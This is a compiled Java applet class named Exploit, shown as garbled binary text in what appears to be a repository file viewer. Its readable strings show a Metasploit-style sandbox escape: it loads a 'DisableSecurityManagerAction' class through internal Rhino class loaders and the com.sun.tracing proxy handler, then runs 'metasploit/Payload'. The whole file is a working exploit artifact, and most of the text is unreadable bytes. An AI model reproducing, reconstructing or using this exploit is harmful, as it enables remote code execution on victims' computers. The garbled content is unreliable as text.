31 lines
3.3 KiB
Plaintext
31 lines
3.3 KiB
Plaintext
|
Êþº¾ 3 ¨
|
|||
|
|
/ K . L M
|
|||
|
|
K
|
|||
|
|
N O
|
|||
|
|
P
|
|||
|
|
Q R
|
|||
|
|
S
|
|||
|
|
T
|
|||
|
|
U V W
|
|||
|
|
U X
|
|||
|
|
Y Z [ \ ]
|
|||
|
|
^ _ ` a b . c d
|
|||
|
|
. e f g h
|
|||
|
|
. i j k l
|
|||
|
|
m n
|
|||
|
|
o p
|
|||
|
|
o q r
|
|||
|
|
o s
|
|||
|
|
t
|
|||
|
|
u v w x y
|
|||
|
|
z {
|
|||
|
|
|
|
|||
|
|
} ~ invoc %Ljava/lang/reflect/InvocationHandler; look Lookup InnerClasses 'Ljava/lang/invoke/MethodHandles$Lookup; <init> ()V Code LineNumberTable
|
|||
|
|
StackMapTable ~ M € � w loadClassUnderPrivContext %(Ljava/lang/String;)Ljava/lang/Class;
|
|||
|
|
Exceptions getMethod h(Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Class;[Ljava/lang/Class;Z)Ljava/lang/invoke/MethodHandle; ‚ ƒ „ …
|
|||
|
|
SourceFile Exploit.java 6 7 0 1 java/io/ByteArrayOutputStream † ‡ "DisableSecurityManagerAction.class ˆ ‰ � Š ‹ Œ � Ž � � ‘ ’ ExpProvider “ ” • – — java/lang/invoke/MethodHandles lookup java/lang/Class C ˜ java/lang/Object ™ š › %java/lang/invoke/MethodHandles$Lookup 2 5 +sun.org.mozilla.javascript.internal.Context @ A 7sun.org.mozilla.javascript.internal.DefiningClassLoader 8sun.org.mozilla.javascript.internal.GeneratedClassLoader enter C D java/lang/ClassLoader createClassLoader java.lang.String y A defineClass ‚ š œ š � DisableSecurityManagerAction š ž Ÿ œ ¡ ¢ java/lang/Throwable java/lang/String forName ƒ £ ¤ ¥ ¦ § ¦ Exploit java/applet/Applet [B java/io/InputStream java/lang/invoke/MethodHandle java/lang/invoke/MethodType java/lang/NoSuchMethodException java/lang/IllegalAccessException getClass ()Ljava/lang/Class; getResourceAsStream )(Ljava/lang/String;)Ljava/io/InputStream; read ([B)I write ([BII)V toByteArray ()[B com/sun/tracing/ProviderFactory getDefaultFactory #()Lcom/sun/tracing/ProviderFactory; createProvider -(Ljava/lang/Class;)Lcom/sun/tracing/Provider; java/lang/reflect/Proxy getInvocationHandler 9(Ljava/lang/Object;)Ljava/lang/reflect/InvocationHandler; @(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; #java/lang/reflect/InvocationHandler invoke S(Ljava/lang/Object;Ljava/lang/reflect/Method;[Ljava/lang/Object;)Ljava/lang/Object; ()Ljava/lang/Object; 6(Ljava/lang/Object;Ljava/lang/Void;)Ljava/lang/Object; 9(Ljava/lang/Object;Ljava/lang/String;[B)Ljava/lang/Class; newInstance metasploit/Payload main ([Ljava/lang/String;)V
|
|||
|
|
methodType B(Ljava/lang/Class;[Ljava/lang/Class;)Ljava/lang/invoke/MethodType;
|
|||
|
|
findStatic a(Ljava/lang/Class;Ljava/lang/String;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/MethodHandle; findVirtual ! . / 0 1 2 5 6 7 8 õ *· *µ » Y· L ¼M*¶ ¶ :,¶ Y>ž
|
|||
|
|
+, ¶ §ÿî+¶
|
|||
|
|
M¸ : ¶
|
|||
|
|
:*¸ µ :½ ¶ :**´ ½ ¹ À µ *· : *· :
|